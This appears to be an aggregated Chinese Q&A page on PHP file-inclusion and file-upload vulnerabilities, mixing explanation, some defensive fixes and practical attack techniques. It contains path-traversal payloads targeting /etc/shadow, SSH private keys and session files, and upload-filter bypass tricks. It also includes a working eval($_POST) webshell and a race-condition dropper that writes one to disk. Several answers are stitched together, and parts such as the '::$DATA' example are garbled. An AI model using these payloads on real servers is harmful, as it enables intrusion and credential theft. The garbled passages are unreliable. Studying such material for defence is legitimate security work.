php文件包含漏洞
⑴ 如何查找php文件包含漏洞的方法
找360或安全聯盟檢測介面, 免費的。
主要是查上傳漏洞。可以網路下,夠學習一段時間的。
⑵ php文件包含漏洞可造成的危害有哪些
假如你的 include 中包含 可變的參數,而且可悲外部修改,例如:
<?php
include("inc/".$_GET['file']);
這樣的話,就會引發漏洞,用戶可以構造任意參數來讀取你的文件。
⑶ 是不是只有php才有文件包含漏洞
你好,這個是不一定的,有些文件看你寫出來的有沒有漏洞才是,所有的程序都不可能說沒有漏洞,沒有bug
⑷ 文件包含漏洞形成的原因是什麼
導致系統漏洞的原因包括程序邏輯結構設計不合理,不嚴謹、編程人員程序設計錯誤以及目前為止硬體無法解決特定的問題:
1、編程人員在設計程序時,對程序邏輯結構設計不合理,不嚴謹,因此產生一處或者多處漏洞,正是由於這些漏洞,給病毒入侵用戶電腦提供了入口。
2、編程人員的程序設計錯誤也是計算機系統漏洞產生的原因之一,受編程人員的能力、經驗和當時安全技術所限,在程序中難免會有不足之處,輕則影響程序效率,重則導致非授權用戶的許可權提升,這種類型的漏洞最典型的是緩沖區溢出漏洞,它也是被黑客利用得最多的一種類型的漏洞。
3、由於目前硬體無法解決特定的問題,使編程人員只得通過軟體設計來表現出硬體功能而產生的漏洞,也會讓黑客長驅直入,攻擊用戶的電腦。
(4)php文件包含漏洞擴展閱讀:
漏洞的影響范圍很廣,包括系統本身及其支持軟體、網路客戶端和伺服器軟體、網路路由器和安全防火牆。
在不同類型的硬體和軟體設備、相同設備的不同版本、不同的系統由不同的設備組成,以及同一系統在不同的設置下,都會存在不同的安全漏洞。
因此,隨著時間的推移,舊的系統漏洞會消失,新的系統漏洞會繼續出現。系統中的漏洞也依然存在。
⑸ 利用本地文件包含漏洞可以執行下面哪些操作
伺服器通過php的特性(函數)去包含任意文件時,由於要包含的這個文件來源過濾不嚴,從而可去包含一個惡意文件,而我們可以構造這個惡意文件來達到邪惡的目的。幾乎所有的 cgi程序都有這樣的 bug,只是具體的表現方式不一樣罷了。
⑹ PHP 網路開發詳解之遠程文件包含漏洞
以下代碼(Code)實現了根據瀏覽器地址欄參數的文件名稱包含不同文件的功能。
復制代碼
代碼如下:
<?php
$file_name
=
$_GET["filename"];
//獲得當前文件名
include("$file_name
");
//包含文件
//一些其他操作
?>
這時,通過在地址欄上指定不同的文件名就可以實現包含不同文件並執行的功能。例如,通過在瀏覽器上訪問http://localhost/test.php?filename=myinc.php就可以在代碼(Code)中包含並執行myinc.php文件。
由於上面的代碼(Code)沒有進行任何錯誤處理,在瀏覽器上不加參數運行,所以將得到以下運行結果。
Warning:
include(.php)
[function.include]:
failed
to
open
stream:
No
such
file
or
directory
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
Warning:
include()
[function.include]:
Failed
opening
'.php'
for
inclusion
(include_path='.;C:\Program
Files\xampp\php\pear\')
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
訪問者通過讀取這段錯誤信息,可以得知當前的操作是一個文件包含操作。這時,可以在自己的伺服器上放置一個相應的腳本代碼。需要注意的是PHP在獲取遠程文件時獲得的是遠程伺服器的最終輸出結果,而不是文件本身。該腳本代碼位於192.168.0.1伺服器上,文件名為hello.txt,腳本代碼(Code)如下所示。
復制代碼
代碼如下:
<?php
echo
"hello
world!";
?>
這時,通過在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以運行hello.txt中的腳本了。
為了解決這個問題,一種方式是完善代碼的錯誤信息,使訪問者無法知道當前腳本正在包含參數中指定的文件。修改後的代碼(Code)如下所示。
復制代碼
代碼如下:
<?php
$file_name
=
$_GET["filename"];
//獲得當前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("頁面在瀏覽過程中出現錯誤");
}
//一些其他操作
?>
修改後,如果在被包含的文件無法找到時將出現「頁面在瀏覽過程中出現錯誤」的錯誤信息,訪問者將無法獲得當前頁面的具體操作信息。
第二種方式可以更加有效地防止遠程文件包含攻擊。方式是替換地址欄參數中的斜線「/」。這樣,在地址欄參數中輸入遠程文件地址時,代碼將無法正確地獲得參數。修改後的代碼(Code)如下所示。
復制代碼
代碼如下:
<?php
$file_name
=
str_replace('/',
'',
$_GET["filename"]);
//獲得當前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("頁面在瀏覽過程中出現錯誤");
}
//一些其他操作
?>
這樣,在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt
時,實際上PHP代碼(Code)獲得的包含文件名稱是http:192.168.0.1bugstest6_test。頁面將不會包含遠程文件,並顯示相應的錯誤信息。
⑺ 文件上傳漏洞有哪些挖掘思路
文件上傳漏洞作為獲取伺服器許可權最快的方式,雖然相關資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產生危害等還是比較模糊。本文作一些闡述,然後補充一些除了上傳webshell的其他非常規挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。
1、基礎知識:
要深入了解文件上傳,必須了解上傳屬性、常見文件的結構、圖形處理函數等內容。
1) 報文特點:
觀察文件上傳報文的特點:
Header中Content-Type特徵有二:
1.multipart/form-data(form表單的enctype屬性,規定為二進制數據)
2.boundary字元串(作用為分隔符,以區分POST數據)
POST內容特徵有五:
1.Content-Disposition:form-data
2. name:input表單名
3.filename:文件名
4.Content-Type:定義文件的類型和網頁的編碼,決定瀏覽器將以什麼形式、什麼編碼讀取這個文件;
5.boundary:Content-Type的值前面加了兩個---
2) 常見校驗規則
現存常用的上傳校驗規則無非下面幾類:
1.客戶端javascript校驗(後綴名)
2.文件頭content-type欄位校驗(image/gif):附帶參數
4.後綴名黑/白名單校驗:擴展名
5.文件內容頭校驗:GIF89a
6.文件內容校驗:文件信息,二次渲染
7.自定義正則校驗
3)一個澄清
文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示「圖片無法顯示」;或者我們上傳的是jpg文件,但裡面混有shell腳本,若被解析為php文件也會執行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執行成功。
還是回到安全的本質,上傳是「輸入」,那文件解析就是「輸出」,任何漏洞挖掘都需要結合輸入+輸出。
2、繞過技巧:
這里匯總一些實戰中較常用的繞過技巧:
1)後綴名黑名單
以下替換後綴也可以解析為shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系統的文件命名規則:
.php.,.php空格,.php:1.jpg,.php::$DATA等
這些後綴的文件會被windows系統自動去掉不符合規則符號後面的內容,從而只留下.php。
2)後綴名白名單
除了結合各種伺服器解析特性,較常用的是Null Byte Injection空位元組注入,插入空位元組值的原因是某些應用程序伺服器腳本語言使用c/c++庫來檢查文件名和內容。在C/C ++中,一行以/00結尾或稱為NullByte。因此,只要解釋器在字元串的末尾看到一個空位元組,就會停止讀取,認為它已經到達字元串的末尾。
如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然後上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字元串視圖中找到文件名。查看相應的Hex表,並將41('A')替換為00(為空位元組)。結果字元串變為Happy.php(空).jpeg。由於php解釋器在內部使用C語言庫,它將停止讀取Happy.php後的文件名,文件將保存為Happy.php。
另一種繞過白名單的方法是使用雙後綴:shell.php.jpg。
⑻ php文件包含漏洞可能造成的危害有哪些
在接下來的內容中會以代碼樣本作為例子,來給大家介紹各種奇葩猥瑣的利用姿勢。
0x01 普通本地文件包含
1
<?php
include("inc/"
. $_GET['file']);
?>
包含同目錄下的文件:
?file=.htaccess
目錄遍歷:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中這兩個文件儲存著所有文件的路徑,需要root許可權)
包含錯誤日誌: ?file=../../../../../../../../../var/log/apache/error.log (試試把UA設置為「」來使payload進入日誌)
獲取web目錄或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)
包含上傳的附件:
?file=../attachment/media/xxx.file
讀取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsrntv0pdir1no7
(session文件一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得一個shell)
如果擁有root許可權還可以試試讀這些東西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件標識符)
/proc/mounts
/proc/config.gz
如果有phpinfo可以包含臨時文件:
參見http://hi..com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el
⑼ 文件上傳漏洞的類型有哪些
1、 前端檢測繞過
有的站點只在前端對文件的類型有所限制,我們只需用bp抓包然後修改文件後綴名就能繞過這種檢測。
2、 文件頭檢測繞過
有的站點使用文件頭來檢測文件的類型,這種檢測可以在shell前加入相應的位元組一繞過檢測,幾種常見的文件類型的頭位元組如下:
3、 後綴檢測繞過
部分伺服器僅根據文件後綴、上傳時的信息或者文件頭來判斷文件類型,此時可以繞過。php由於歷史的原因,部分解釋器可能支持符合正則/ph(p[2-7]?|t(ml)?)/的後綴,如php/php5/pht/phtml/shtml/pwml/phtm等。如果後端對文件名進行了過濾,可以嘗試雙寫文件名,比如1.pphphp。
4、 系統命名繞過
在windows系統中,上傳不符合windwos命名規則的文件名會被windows系統自動去掉不符合規則符號後面的內容,例如:test.asp.、test.asp(空格)、test.php:1.jpg、test.php:: D A T A 、 t e s t . p h p : : DATA、test.php:: DATA、test.php::DATA…這些文件上傳到伺服器端之後都會變成test.php
在linux系統下,可以嘗試上傳文件後綴名為大小寫混用的Php文件。
5、 文件包含繞過
在文件包含的時候,為了靈活包含文件,將被包含文件設置為變數,通過動態變數來引入需要包含的文件,用戶可以對變數的值進行控制,而伺服器端未對變數進行合理的校驗,這樣就導致所包含的文件有可能存在惡意代碼。比如1.php
<?php $file=$_GET[『file』]; include($file); ?>
這個程序就包含了一個文件,我們在1.txt文件中寫入
<?php phpinfo(); ?>
然後將這個文件包含在1.php中1.php?file=1.txt這樣
<?php phpinfo(); ?>就成功寫入1.php這個文件當中,我們訪問1.php這個文件的時候就能出現php信息那個頁面。利用這個漏洞我們就可以進行文件上傳,我們只需包含一個一句話木馬內容的txt就能用菜刀連接,這樣就成功執行了文件上傳。
6、 解析漏洞繞過
目錄解析:在網站中建立名稱為*.asp、.asa格式的文件夾時,其文件夾下面的文件都會被當做asp執行。
文件解析:當文件名為.asp;1.jpg時,也會被當做asp執行
Apache解析漏洞:Apache在解析文件時,是從右往左,如果遇到不認識的擴展名時,就會繼續向左判斷,例如1.php.rar就會被當做
php解析。
IIS 7.0/IIS 7.5/Nginx<0.8.3畸形文件解析漏洞,當訪問http://xxx.com/1.jpg/1.php時,此時1.php不存在,就會將1.jpg當做php文件去執行,所以如果存在該漏洞,將php木馬後綴改成jpg然後訪問1.jpg/1.php然後1.jpg就會被當成1.php來執行。
.htaccess,該文件裡面的代碼如下:
<FilesMatch 「1」>
SetHandler application/x-httpd-php
這段代碼的意思就是文件名包含」1」這個這個字元串就會被當成php文件來處理。但是值得注意的是上傳.htaccess必須是網站根路徑。
7、 文件截斷繞過
00截斷:由於00代表結束符,所以會把00後面的所有字元刪除。
能利用這個漏洞的前提是,php版本要小於5.3.4,magic_quotes_gpc需要為OFF狀態。我們用bp進行攔包之後,需要send to repeater,然後在hex中,在php後面添加00
8、 競爭條件攻擊
一些網站上傳文件邏輯上是允許上傳任意文件的,然後檢查上傳文件的內容是否包含webshell腳本,如果包含則刪除該文件,這里存在的問題是文件上傳成功之後和刪除文件之間存在一個短的時間差,攻擊者就可以利用這個時間差來上傳漏洞攻擊。攻擊者先上傳一個webshell腳本1.php內容如下:
<?php fputs(fopen(『../shell.php』,』w』),』<?php @eval($_POST[a]) ?>』); ?>
代碼內容就是生成一個新的webshell,shell.php,那麼當1.php上傳成功之後,我們快速訪問這個文件,這時就會在伺服器端當前目錄下自動生成shell.php,這時就利用時間差完成了webshell的上傳。